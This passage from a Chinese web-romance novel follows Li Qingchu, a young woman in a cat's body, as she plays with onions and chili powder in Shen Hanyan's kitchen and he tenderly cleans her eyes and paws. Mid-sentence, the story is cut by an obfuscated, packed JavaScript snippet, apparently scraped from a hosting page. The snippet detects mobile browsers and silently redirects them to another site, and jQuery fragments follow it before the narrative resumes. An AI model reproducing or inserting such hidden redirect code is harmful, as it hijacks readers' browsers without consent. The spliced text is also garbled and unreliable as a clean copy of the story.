送走姜若娅之后,沈寒宴又回到了厨房。
他将擦得光亮的锅放回煤气灶上,又拿出精挑细选过的鱼,熟练地给鱼开膛破肚,刮掉鱼鳞,鱼腥气顿时弥漫了整个房间。
就在这时,他身上一重,猫咪爪子突然从肩膀上垂下来,精准拍飞他刚剥好的蒜瓣。
“这个不能玩。”
他捞起滚进角落的蒜,顺手把装鸡蛋的塑料袋挂上冰箱把手,又拿起一旁的油瓶,油瓶快要见底,倾斜时发出空洞的响声。
被制止的小猫仍不罢休,对着五花八门的调料瓶跃跃欲试,时不时伸出爪子扒拉一下,甚至还想亲自尝一尝。
“小心油溅出来。”
“滋啦”一声,裹着淀粉的土豆丝滑进热油,沈寒宴一心二用,左手轻松扼制住小猫的喉咙,右手还不停地翻弄着锅里的菜肴。
黎清初难受地在他手上挣扎着,凶狠地张嘴咬他手腕,试图重获自由。
沈寒宴唇角微勾,手指顺着毛发滑下,缠了缠小猫尾巴,掌心用力,将她的小身子笼罩在掌心,随后弯腰将她放在了地上,又捎带哄诱地拍了拍小猫脑袋。
“别闹,马上就做好了。”
他刚拿起菜刀准备切洋葱,就发现砧板边多了一个毛球,雪白的小猫正一本正经地蹲在旁边,丝毫不见刚刚扯着裤脚爬上来的狼狈模样。
见他停下动作,她还动了动脑袋,用湿漉漉的鼻子去拱他。
怎么不继续做了?
快做饭啊。
她的眼珠子被刚切开的洋葱深深吸引,小猫的探索欲在此刻占据了理智上风。
“这个不行。”他用刀背轻敲瓷碗,清脆声响惊得猫耳抖了抖,“小猫不能吃洋葱,我给你煮鱼吃。”
蠢货!
本小姐吃什么还用你管?
黎清初不喜欢吃洋葱,可这也不妨碍她和沈寒宴对着干,只要能给他添麻烦,她就开心。
琉璃般的猫眼微眯,她忽然抬起肉垫拍飞调料盒,花椒粒叮叮当当滚落灶台,辣椒粉更是飞舞至半空中,猫咪趁机叼起一小块洋葱。
蓬松尾巴扫过他坚实有力的小臂,那里还留着几道浅粉色抓痕。
“怎么这么会折腾人。”
沈寒宴单手拎起猫后颈,神色冷淡地盯着她,小猫咪胡须上沾着红红的辣椒粉,此刻正理直气壮把油亮皮毛往他胸口蹭,爪尖勾着围裙系带四处晃悠。
她将那块洋葱咬得死死的,任由沈寒宴伸手捏她的嘴也不松开。
尖锐的牙齿陷进了洋葱里,呛人的气味在瞬间弥漫开来,她的嘴更是被这股难言的洋葱味洗刷了个遍。
“阿嚏!”
小猫忽然打了一个震天响的喷嚏,洋葱块也飞出去几米远,在地上滚了几圈,落在了角落中。
辛辣的洋葱气味熏得黎清初眼圈红红的,小猫爪忙脚乱地揉眼睛,结果沾了辣椒粉的肉垫在脸上抹出几道痕迹,眼睛顿时模糊一团,疼得完全睁不开。
她踉跄后退时撞倒面粉袋,白雾炸开的瞬间,沈寒宴看到个毛绒绒的蒲公英团子滚进洗菜池。
沈寒宴一时无言。
“现在知道厉害了?”
他拧开自来水龙头,单手捞起打喷嚏的毛球,小猫挂着两串泪珠还要凶人,爪子挥到半空又被他捏住肉垫,用力揉了揉。
“别动,我给你擦眼睛。”
他用温水浸透纸巾,细心地叠起来,弯腰看着可怜兮兮的小猫,动作轻柔地擦拭着她的眼泪。
当温热的触感敷上来的时候,猫咪突然僵住,她能感觉到灼热的气息靠近她,但手上的动作却轻柔至极,就连捏着后脖颈的指腹也带上了几分安慰的意味。
干什么?!
蠢蛋不要靠近她!
沈寒宴的指尖刚触到湿润的眼角,黎清初的爪子就拍在他手上,力道虚张声势得可笑,指甲尖堪堪勾住他的衣袖,倒像是主动把肉垫递进他掌心。
他挑眉:“你自己要玩洋葱,现在还生我的气?”
沈寒宴这是在挑衅她?
明明都是他的错!
听了他的话,黎清初被激得更加生气,张牙舞爪地就要扑上来,却被他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282026|166871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趁机握住两只爪子,整只猫被提溜了起来。
沈寒宴握着她的爪子细细擦拭身子,从炸毛的尾巴尖到湿漉漉的鼻尖,最后再换了新的纸巾沾生理盐水仔细清理眼角。
他的指腹隔着湿纸巾传来温热,黎清初能清晰感受到他修剪整齐的指甲划过耳廓的触感,他左手虚虚地拢着她的脑袋,惹得她敏感的耳尖颤了又颤。
生理盐水渗入眼角时,她本能地后缩,却被抵在洗碗池边缘的掌心稳稳托住脊椎。
“忍一忍。”
他声音像春日化了冰的河水,明明听起来冰冷至极,但会随着时间的推移逐渐温柔。
黎清初抬头,看见少年的喉结随着吐字在她头顶轻轻震颤,他垂着眼,将她沾着洋葱汁的爪子浸入温水,拇指逐个揉开肉垫缝隙,连粉嫩掌心褶皱里的残渣都被纸巾卷走。
沈寒宴温热的呼吸扫过她的耳尖时,黎清初的爪子正死死扣住他挽起的衬衫袖口,她感受着浑身上下控制不住的颤栗,选择性地忽视了这一感受。
她讨厌沈寒宴!
这时沈寒宴忽然倾身贴近。
“别眨眼。”
他唇峰翕张的弧度带起气流,低哑的声音响起,惊得她耳尖向后变成飞机状。
当轻风拂过湿润的眼球时,她后爪本能地蹬上他胸口,黎清初能清晰看见他长长的睫毛随着动作不停颤抖着,连带着她也为了这过分亲近的距离紧张了起来。
她觉得沈寒宴长得……也还行吧。
就比她差那么一点点。
黎清初绝不承认沈寒宴有哪里胜过她,她从小就是同辈里的头一份,如果不是那本“原著”,她根本不会将沈寒宴放在眼里。
虽然腹诽不少,但黎清初的尾巴却诚实地卷住他手腕。
她未曾在意,微风吹过眼皮时,这感觉竟然比洋葱熏过的温度更加滚烫,痒意直达心底。
“好了。”
沈寒宴突然用额头轻碰她湿漉漉的鼻尖,吓得黎清初收回了她刚卷到他腕表的尾巴。
"下次别玩洋葱了......"